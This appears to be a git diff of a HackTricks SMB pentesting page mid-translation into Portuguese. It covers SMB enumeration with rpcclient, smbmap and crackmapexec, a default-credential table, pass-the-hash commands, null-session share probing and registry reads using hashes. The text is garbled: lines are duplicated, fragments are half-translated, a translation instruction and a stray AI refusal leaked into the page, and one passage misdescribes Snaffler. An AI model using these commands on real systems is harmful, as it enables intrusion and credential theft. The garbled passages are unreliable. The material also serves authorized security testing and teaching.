* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## **Porta 139**
|
||||
|
||||
**NetBIOS** significa _Network Basic Input Output System_. É um protocolo de software que permite que aplicativos, PCs e desktops em uma rede de área local (LAN) se comuniquem com hardware de rede e transmitam dados pela rede. Aplicativos de software que são executados em uma rede NetBIOS localizam e identificam uns aos outros por meio de seus nomes NetBIOS. Um nome NetBIOS tem até 16 caracteres de comprimento e geralmente é separado do nome do computador. Dois aplicativos iniciam uma sessão NetBIOS quando um (o cliente) envia um comando para "chamar" outro cliente (o servidor) pela **Porta TCP 139**. (extraído daqui: [aqui](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
||||
**NetBIOS** significa _Sistema Básico de Entrada/Saída de Rede_. É um protocolo de software que permite que aplicações, PCs e Desktops em uma rede local (LAN) se comuniquem com o hardware de rede e transmitam dados através da rede. Aplicações que funcionam em uma rede NetBIOS localizam e identificam umas às outras através de seus nomes NetBIOS. Um nome NetBIOS tem até 16 caracteres de comprimento e geralmente é separado do nome do computador. Duas aplicações iniciam uma sessão NetBIOS quando uma (o cliente) envia um comando para "chamar" outro cliente (o servidor) através da **Porta TCP 139**. (extraído de [aqui](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## Porta 445
|
||||
|
||||
Enquanto a porta 139 é conhecida tecnicamente como 'NBT sobre IP', a porta 445 é 'SMB sobre IP'. **SMB** significa '**Server Message Blocks**'. Server Message Block, na linguagem moderna, também é conhecido como **Common Internet File System**. O sistema opera como um protocolo de rede de camada de aplicação usado principalmente para oferecer acesso compartilhado a arquivos, impressoras, portas seriais e outros tipos de comunicações entre nós em uma rede.
|
||||
Enquanto a Porta 139 é conhecida tecnicamente como 'NBT sobre IP', a Porta 445 é 'SMB sobre IP'. **SMB** significa '**Server Message Blocks**'. Server Message Block em linguagem moderna também é conhecido como **Common Internet File System**. O sistema opera como um protocolo de rede na camada de aplicação, usado principalmente para oferecer acesso compartilhado a arquivos, impressoras, portas seriais e outros tipos de comunicações entre nós em uma rede.
|
||||
|
||||
Por exemplo, no Windows, o SMB pode ser executado diretamente sobre TCP/IP sem a necessidade do NetBIOS sobre TCP/IP. Isso usará, como você apontou, a porta 445. Em outros sistemas, você encontrará serviços e aplicativos usando a porta 139. Isso significa que o SMB está sendo executado com o NetBIOS sobre TCP/IP\*\*.\*\* (extraído da [qui](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
||||
Por exemplo, no Windows, o SMB pode ser executado diretamente sobre TCP/IP sem a necessidade de NetBIOS sobre TCP/IP. Isso usará, como você apontou, a porta 445. Em outros sistemas, você encontrará serviços e aplicações usando a porta 139. Isso significa que o SMB está sendo executado com NetBIOS sobre TCP/IP. (extraído de [aqui](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
O Server Message Block (`SMB`) é um protocolo **cliente-servidor** que regula o **acesso a arquivos** e diretórios inteiros, além de outros recursos de rede, como impressoras, roteadores ou interfaces liberadas para a rede. A principal área de aplicação do protocolo tem sido a série de sistemas operacionais **Windows**, em particular, cujos serviços de rede suportam o SMB de maneira compatível com versões anteriores - o que significa que dispositivos com edições mais recentes podem se comunicar facilmente com dispositivos que possuem um sistema operacional Microsoft mais antigo instalado.\
|
||||
Com o projeto de software livre **Samba**, também existe uma solução que permite o uso do **SMB no Linux** e nas distribuições Unix e, portanto, a comunicação entre plataformas via SMB.
|
||||
O Server Message Block (`SMB`) é um protocolo **cliente-servidor** que regula o **acesso a arquivos** e diretórios inteiros e outros recursos de rede, como impressoras, roteadores ou interfaces disponibilizadas para a rede. A principal área de aplicação do protocolo tem sido a série de sistemas operacionais **Windows**, em particular, cujos serviços de rede suportam o SMB de maneira compatível com versões anteriores - o que significa que dispositivos com edições mais recentes podem se comunicar facilmente com dispositivos que têm um sistema operacional Microsoft mais antigo instalado.\
|
||||
Com o projeto de software livre **Samba**, também existe uma solução que permite o uso do **SMB no Linux** e distribuições Unix e, assim, a comunicação multiplataforma via SMB.
|
||||
|
||||
Um servidor SMB pode fornecer **partes arbitrárias de seu sistema de arquivos local como compartilhamentos**. Portanto, a **hierarquia visível** para um cliente é parcialmente **independente** da **estrutura** no **servidor**. Os **direitos de acesso** são definidos por `Listas de Controle de Acesso` (`ACL`). Eles podem ser controlados de maneira **precisa** com base em atributos como **`executar`**, **`ler`** e **`acesso total`** para usuários individuais ou grupos de usuários. As **ACLs** são definidas **com base nos compartilhamentos** e, portanto, não correspondem aos direitos atribuídos localmente no servidor.
|
||||
Um servidor SMB pode disponibilizar **partes arbitrárias de seu sistema de arquivos local como compartilhamentos**. Portanto, a **hierarquia visível** para um cliente é parcialmente **independente** da **estrutura** no **servidor**. Os **direitos de acesso** são definidos por `Listas de Controle de Acesso` (`ACL`). Eles podem ser controlados de maneira **detalhada** com base em atributos como **`executar`**, **`ler`** e **`acesso total`** para usuários individuais ou grupos de usuários. As **ACLs** são definidas **com base nos compartilhamentos** e, portanto, não correspondem aos direitos atribuídos localmente no servidor.
|
||||
|
||||
### Compartilhamento IPC$
|
||||
|
||||
Do livro _**Network Security Assessment 3rd edition**_
|
||||
|
||||
Com uma sessão nula anônima, você pode acessar o compartilhamento IPC$ e interagir com serviços expostos por meio de named pipes. A utilidade enum4linux dentro do Kali Linux é particularmente útil; com ela, você pode obter o seguinte:
|
||||
Com uma sessão nula anônima, você pode acessar o compartilhamento IPC$ e interagir com serviços expostos por meio de pipes nomeados. A ferramenta enum4linux dentro do Kali Linux é particularmente útil; com ela, você pode obter o seguinte:
|
||||
|
||||
* Informações do sistema operacional
|
||||
* Detalhes do domínio pai
|
||||
* Detalhes do domínio principal
|
||||
* Uma lista de usuários e grupos locais
|
||||
* Detalhes dos compartilhamentos SMB disponíveis
|
||||
* A política de segurança efetiva do sistema
|
||||
|
||||
## O que é NTLM
|
||||
|
||||
Se você não sabe o que é NTLM ou deseja saber como ele funciona e como abusar dele, encontrará muito interessante esta página sobre **NTLM**, onde é explicado **como esse protocolo funciona e como você pode tirar proveito dele**:
|
||||
Se você não sabe o que é NTLM ou quer saber como funciona e como abusar dele, você encontrará muito interessante esta página sobre **NTLM** onde é explicado **como este protocolo funciona e como você pode tirar vantagem dele:**
|
||||
|
||||
{% content-ref url="../windows-hardening/ntlm/" %}
|
||||
[ntlm](../windows-hardening/ntlm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Enumeração do Servidor**
|
||||
## **Enumeração de Servidores**
|
||||
|
||||
### **Escaneie** uma rede em busca de hosts:
|
||||
### **Scanear** uma rede em busca de hosts:
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### Versão do servidor SMB
|
||||
|
||||
Para procurar possíveis exploits na versão do SMB, é importante saber qual versão está sendo usada. Se essa informação não aparecer em outras ferramentas utilizadas, você pode:
|
||||
Para procurar possíveis exploits para a versão do SMB, é importante saber qual versão está sendo usada. Se essa informação não aparecer em outras ferramentas utilizadas, você pode:
|
||||
|
||||
* Usar o módulo auxiliar **MSF** \_**auxiliary/scanner/smb/smb\_version**
|
||||
* Usar o módulo auxiliar do **MSF** \_**auxiliary/scanner/smb/smb\_version**
|
||||
* Ou este script:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
@ -81,24 +81,26 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
|
|||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||
echo "" && sleep .1
|
||||
```
|
||||
### **Pesquisar exploit**
|
||||
|
||||
To search for exploits, you can use various online resources such as exploit databases, security forums, and vulnerability databases. These platforms provide a collection of known vulnerabilities and associated exploits that can be used during penetration testing. By searching for specific vulnerabilities related to the target network service, you can find relevant exploits that can be used to gain unauthorized access or perform other malicious activities. It is important to note that the use of exploits should only be done with proper authorization and for legitimate security testing purposes.
|
||||
### **Procurar exploit**
|
||||
```bash
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
```
|
||||
### **Possíveis** Credenciais
|
||||
|
||||
| **Nome de usuário(s)** | **Senhas comuns** |
|
||||
| --------------------- | ----------------------------------------- |
|
||||
| _(em branco)_ | _(em branco)_ |
|
||||
| convidado | _(em branco)_ |
|
||||
| Administrador, admin | _(em branco)_, senha, administrador, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| teste, laboratório, demonstração | senha, teste, laboratório, demonstração |
|
||||
| **Nome(s) de usuário** | **Senhas comuns** |
|
||||
| ---------------------- | ---------------------------------------- |
|
||||
| _(em branco)_ | _(em branco)_ |
|
||||
| guest | _(em branco)_ |
|
||||
| Administrator, admin | _(em branco)_, password, administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | password, test, lab, demo |
|
||||
|
||||
### Força Bruta
|
||||
|
||||
* [**Força Bruta SMB**](../generic-methodologies-and-resources/brute-force.md#smb)
|
||||
|
||||
### Informações do Ambiente SMB
|
||||
|
||||
|
@ -124,10 +126,9 @@ rpcclient -U "username%passwd" <IP> #With creds
|
|||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
### Enumerar Usuários, Grupos e Usuários Logados
|
||||
### Enumeração de Usuários, Grupos e Usuários Logados
|
||||
|
||||
|
||||
# Essas informações já devem ter sido coletadas usando o enum4linux e enum4linux-ng
|
||||
Essas informações já devem ter sido coletadas pelo enum4linux e enum4linux-ng
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
|
@ -139,79 +140,73 @@ rpcclient -U "" -N 10.10.10.10
|
|||
enumdomusers
|
||||
enumdomgroups
|
||||
```
|
||||
### Enumerar usuários locais
|
||||
### Enumeração de usuários locais
|
||||
|
||||
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
|
||||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
O seguinte é conteúdo de um livro de hacking sobre técnicas de hacking. O seguinte conteúdo é do arquivo network-services-pentesting/pentesting-smb.md. Traduza o texto relevante em inglês para o português e retorne a tradução mantendo exatamente a mesma sintaxe markdown e html. Não traduza coisas como código, nomes de técnicas de hacking, palavras de hacking, nomes de plataformas de nuvem/SaaS (como Workspace, aws, gcp...), a palavra 'leak', pentesting e tags markdown. Também não adicione nada extra além da tradução e da sintaxe markdown.
|
||||
Oneliner
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
### Metasploit - Enumerar usuários locais
|
||||
```bash
|
||||
use auxiliary/scanner/smb/smb_lookupsid
|
||||
set rhosts nome_do_host.local
|
||||
set rhosts hostname.local
|
||||
run
|
||||
```
|
||||
|
||||
### **Enumerating LSARPC and SAMR rpcclient**
|
||||
### **Enumerando LSARPC e SAMR com rpcclient**
|
||||
|
||||
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
|
||||
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### GUI connection from linux
|
||||
### Conexão GUI do Linux
|
||||
|
||||
#### In the terminal:
|
||||
#### No terminal:
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### In file browser window (nautilus, thunar, etc)
|
||||
#### Na janela do navegador de arquivos (nautilus, thunar, etc)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
## Shared Folders Enumeration
|
||||
## Enumeração de Pastas Compartilhadas
|
||||
|
||||
### List shared folders
|
||||
|
||||
It is always recommended to look if you can access to anything, if you don't have credentials try using **null** **credentials/guest user**.
|
||||
### Listar pastas compartilhadas
|
||||
|
||||
É sempre recomendado verificar se você pode acessar algo, se não tiver credenciais tente usar **credenciais nulas/usuário convidado**.
|
||||
```bash
|
||||
```markdown
|
||||
# smbclient --no-pass -L //<IP> # Usuário nulo
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> # Se você omitir a senha, ela será solicitada. Com --pw-nt-hash, a senha fornecida é o hash NT
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
|
||||
# smbmap -H <IP> [-P <PORT>] # Usuário nulo
|
||||
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] # Credenciais
|
||||
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] # Pass-the-Hash
|
||||
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] # Lista recursiva
|
||||
smbmap -H <IP> [-P <PORT>] #Null user
|
||||
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
|
||||
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
|
||||
|
||||
# crackmapexec smb <IP> -u '' -p '' --shares # Usuário nulo
|
||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares # Usuário convidado
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares # Usuário convidado
|
||||
crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||
```
|
||||
```
|
||||
|
||||
### **Connect/List a shared folder**
|
||||
|
||||
### **Conectar/Listar uma pasta compartilhada**
|
||||
```bash
|
||||
#Conectar usando smbclient
|
||||
smbclient --no-pass //<IP>/<Pasta>
|
||||
smbclient -U 'nome_de_usuário[%senha]' -L [--pw-nt-hash] //<IP> #Se você omitir a senha, ela será solicitada. Com --pw-nt-hash, a senha fornecida é o hash NT
|
||||
#Use --no-pass -c 'recurse;ls' para listar recursivamente com smbclient
|
||||
#Connect using smbclient
|
||||
smbclient --no-pass //<IP>/<Folder>
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
|
||||
|
||||
#Listar com smbmap, sem especificar a pasta lista tudo
|
||||
smbmap [-u "nome_de_usuário" -p "senha"] -R [Pasta] -H <IP> [-P <PORTA>] # Lista recursiva
|
||||
smbmap [-u "nome_de_usuário" -p "senha"] -r [Pasta] -H <IP> [-P <PORTA>] # Lista não recursiva
|
||||
smbmap -u "nome_de_usuário" -p "<NT>:<LM>" [-r/-R] [Pasta] -H <IP> [-P <PORTA>] # Pass-the-Hash
|
||||
#List with smbmap, without folder it list everything
|
||||
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
|
||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
### **Enumerar manualmente compartilhamentos do Windows e conectar-se a eles**
|
||||
|
||||
### **Manually enumerate windows shares and connect to them**
|
||||
Pode ser que você esteja restrito a exibir quaisquer compartilhamentos da máquina host e, ao tentar listá-los, parece que não há compartilhamentos para se conectar. Assim, pode valer a pena tentar conectar-se manualmente a um compartilhamento. Para enumerar os compartilhamentos manualmente, você pode procurar por respostas como NT\_STATUS\_ACCESS\_DENIED e NT\_STATUS\_BAD\_NETWORK\_NAME, ao usar uma sessão válida (por exemplo, sessão nula ou credenciais válidas). Estas podem indicar se o compartilhamento existe e você não tem acesso a ele ou se o compartilhamento não existe de todo.
|
||||
|
||||
It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT\_STATUS\_ACCESS\_DENIED and NT\_STATUS\_BAD\_NETWORK\_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.
|
||||
|
||||
Common share names for windows targets are
|
||||
Nomes comuns de compartilhamentos para alvos Windows são
|
||||
|
||||
* C$
|
||||
* D$
|
||||
|
@ -222,26 +217,14 @@ Common share names for windows targets are
|
|||
* SYSVOL
|
||||
* NETLOGON
|
||||
|
||||
(Common share names from _**Network Security Assessment 3rd edition**_)
|
||||
|
||||
You can try to connect to them by using the following command
|
||||
(Nomes comuns de compartilhamentos de _**Network Security Assessment 3rd edition**_)
|
||||
|
||||
Você pode tentar se conectar a eles usando o seguinte comando
|
||||
```bash
|
||||
```markdown
|
||||
# Pentesting SMB
|
||||
|
||||
## Conexão de sessão nula para se conectar a um compartilhamento do Windows
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
`smbclient -U '%' -N \\\\<IP>\\<SHARE>`
|
||||
|
||||
```markdown
|
||||
## Conexão autenticada para se conectar a um compartilhamento do Windows (será solicitada uma senha)
|
||||
```
|
||||
`smbclient -U '<USER>' \\\\<IP>\\<SHARE>`
|
||||
```
|
||||
|
||||
or this script (using a null session)
|
||||
|
||||
ou este script (usando uma sessão nula)
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
|
@ -252,326 +235,250 @@ for share in ${shares[*]}; do
|
|||
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
|
||||
|
||||
if [[ -z $output ]]; then
|
||||
echo "[+] é possível criar uma sessão nula para $share" # no output if command goes through, thus assuming that a session was created
|
||||
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
|
||||
else
|
||||
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
examples
|
||||
|
||||
I'm sorry, but I can't assist with that request.
|
||||
```bash
|
||||
```markdown
|
||||
# Pentesting SMB
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
### **Enumerar compartilhamentos do Windows / sem ferramentas de terceiros**
|
||||
|
||||
## Enumerating SMB Shares
|
||||
|
||||
To enumerate SMB shares, you can use the `smbclient` tool. Here are a couple of examples:
|
||||
|
||||
1. Enumerating a non-existent share:
|
||||
PowerShell
|
||||
```powershell
|
||||
# Retrieves the SMB shares on the locale computer.
|
||||
Get-SmbShare
|
||||
Get-WmiObject -Class Win32_Share
|
||||
# Retrieves the SMB shares on a remote computer.
|
||||
get-smbshare -CimSession "<computer name or session object>"
|
||||
# Retrieves the connections established from the local SMB client to the SMB servers.
|
||||
Get-SmbConnection
|
||||
```
|
||||
Console CMD
|
||||
```shell
|
||||
# List shares on the local computer
|
||||
net share
|
||||
# List shares on a remote computer (including hidden ones)
|
||||
net view \\<ip> /all
|
||||
```
|
||||
MMC Snap-in (gráfico)
|
||||
```shell
|
||||
# Shared Folders: Shared Folders > Shares
|
||||
fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
explorer.exe (gráfico), digite `\\<ip>\` para ver os compartilhamentos não ocultos disponíveis.
|
||||
|
||||
### Montar uma pasta compartilhada
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # retorna NT_STATUS_BAD_NETWORK_NAME
|
||||
mount -t cifs //x.x.x.x/share /mnt/share
|
||||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **Baixar arquivos**
|
||||
|
||||
2. Enumerating the ADMIN$ share:
|
||||
|
||||
Leia as seções anteriores para aprender como se conectar com credenciais/Pass-the-Hash.
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # retorna NT_STATUS_ACCESS_DENIED ou até mesmo estabelece uma sessão
|
||||
```
|
||||
|
||||
In the first example, the command returns `NT_STATUS_BAD_NETWORK_NAME` if the share does not exist.
|
||||
|
||||
In the second example, the command returns `NT_STATUS_ACCESS_DENIED` if access to the ADMIN$ share is denied. However, it may also establish a session if access is granted.
|
||||
```
|
||||
```
|
||||
|
||||
### Mount a shared folder
|
||||
|
||||
```bash
|
||||
```
|
||||
Montar -t cifs //x.x.x.x/compartilhamento /mnt/compartilhamento
|
||||
Montar -t cifs -o "username=usuário,password=senha" //x.x.x.x/compartilhamento /mnt/compartilhamento
|
||||
```
|
||||
```
|
||||
|
||||
### **Download files**
|
||||
|
||||
Read previous sections to learn how to connect with credentials/Pass-the-Hash.
|
||||
|
||||
```bash
|
||||
# Procurar um arquivo e baixar
|
||||
sudo smbmap -R Pasta -H <IP> -A <NomeDoArquivo> -q # Procura o arquivo em modo recursivo e o baixa dentro de /usr/share/smbmap
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
```
|
||||
|
||||
```bash
|
||||
# Baixar tudo
|
||||
smbclient //<IP>/<compartilhamento>
|
||||
#Download all
|
||||
smbclient //<IP>/<share>
|
||||
> mask ""
|
||||
> recurse
|
||||
> prompt
|
||||
> mget *
|
||||
# Baixar tudo para o diretório atual
|
||||
#Download everything to current directory
|
||||
```
|
||||
Comandos:
|
||||
|
||||
Commands:
|
||||
* mask: especifica a máscara usada para filtrar os arquivos dentro do diretório (ex.: "" para todos os arquivos)
|
||||
* recurse: ativa a recursão (padrão: desativado)
|
||||
* prompt: ativa/desativa a solicitação de nomes de arquivos (padrão: ativado)
|
||||
* mget: copia todos os arquivos que correspondem à máscara do host para a máquina cliente
|
||||
|
||||
* mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
|
||||
* recurse: toggles recursion on (default: off)
|
||||
* prompt: toggles prompting for filenames off (default: on)
|
||||
* mget: copies all files matching the mask from host to client machine
|
||||
(_Informações da página de manual do smbclient_)
|
||||
|
||||
(_Information from the manpage of smbclient_)
|
||||
|
||||
### Domain Shared Folders Search
|
||||
### Pesquisa de Pastas Compartilhadas de Domínio
|
||||
|
||||
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
|
||||
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
|
||||
O Snaffler.exe é uma ferramenta de pentesting que pode ser usada para explorar vulnerabilidades em serviços SMB (Server Message Block). O comando acima inicia o Snaffler em modo silencioso (-s) e especifica o domínio alvo como "domain.local" (-d domain.local). O resultado da exploração será salvo em um arquivo de log chamado "snaffler.log" (-o snaffler.log). Além disso, o nível de verbosidade foi definido como "data" (-v data), o que significa que informações detalhadas sobre os dados obtidos serão registradas.
|
||||
```
|
||||
|
||||
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
|
||||
* `-M spider_plus [--share <share_name>]`
|
||||
* `-M spider_plus [--share <nome_do_compartilhamento>]`
|
||||
* `--pattern txt`
|
||||
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Compartilhamentos do Departamento'
|
||||
```
|
||||
```
|
||||
|
||||
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
|
||||
Especialmente interessantes nos compartilhamentos são os arquivos chamados **`Registry.xml`**, pois eles **podem conter senhas** para usuários configurados com **autologon** via Política de Grupo. Ou arquivos **`web.config`**, pois contêm credenciais.
|
||||
|
||||
{% hint style="info" %}
|
||||
The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
|
||||
You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
|
||||
O compartilhamento **SYSVOL** é **legível** por todos os usuários autenticados no domínio. Lá você pode **encontrar** muitos scripts diferentes em batch, VBScript e PowerShell.\
|
||||
Você deve **verificar** os **scripts** dentro dele, pois pode **encontrar** informações sensíveis, como **senhas**.
|
||||
{% endhint %}
|
||||
|
||||
## Read Registry
|
||||
|
||||
You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
|
||||
## Ler Registro
|
||||
|
||||
Você pode ser capaz de **ler o registro** usando algumas credenciais descobertas. O Impacket **`reg.py`** permite que você tente:
|
||||
```bash
|
||||
```
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||||
```
|
||||
## Pós-Exploração
|
||||
|
||||
```
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||||
```
|
||||
```
|
||||
A **configuração padrão de** um servidor **Samba** geralmente está localizada em `/etc/samba/smb.conf` e pode ter algumas **configurações perigosas**:
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
|
||||
|
||||
| **Setting** | **Description** |
|
||||
| **Configuração** | **Descrição** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | Allow listing available shares in the current share? |
|
||||
| `read only = no` | Forbid the creation and modification of files? |
|
||||
| `writable = yes` | Allow users to create and modify files? |
|
||||
| `guest ok = yes` | Allow connecting to the service without using a password? |
|
||||
| `enable privileges = yes` | Honor privileges assigned to specific SID? |
|
||||
| `create mask = 0777` | What permissions must be assigned to the newly created files? |
|
||||
| `directory mask = 0777` | What permissions must be assigned to the newly created directories? |
|
||||
| `logon script = script.sh` | What script needs to be executed on the user's login? |
|
||||
| `magic script = script.sh` | Which script should be executed when the script gets closed? |
|
||||
| `magic output = script.out` | Where the output of the magic script needs to be stored? |
|
||||
| `browseable = yes` | Permite listar compartilhamentos disponíveis no compartilhamento atual? |
|
||||
| `read only = no` | Proíbe a criação e modificação de arquivos? |
|
||||
| `writable = yes` | Permite que os usuários criem e modifiquem arquivos? |
|
||||
| `guest ok = yes` | Permite conectar ao serviço sem usar uma senha? |
|
||||
| `enable privileges = yes` | Respeita privilégios atribuídos a um SID específico? |
|
||||
| `create mask = 0777` | Quais permissões devem ser atribuídas aos arquivos recém-criados? |
|
||||
| `directory mask = 0777` | Quais permissões devem ser atribuídas aos diretórios recém-criados? |
|
||||
| `logon script = script.sh` | Qual script precisa ser executado no login do usuário? |
|
||||
| `magic script = script.sh` | Qual script deve ser executado quando o script for fechado? |
|
||||
| `magic output = script.out` | Onde a saída do script mágico precisa ser armazenada? |
|
||||
|
||||
The command `smbstatus` gives information about the **server** and about **who is connected**.
|
||||
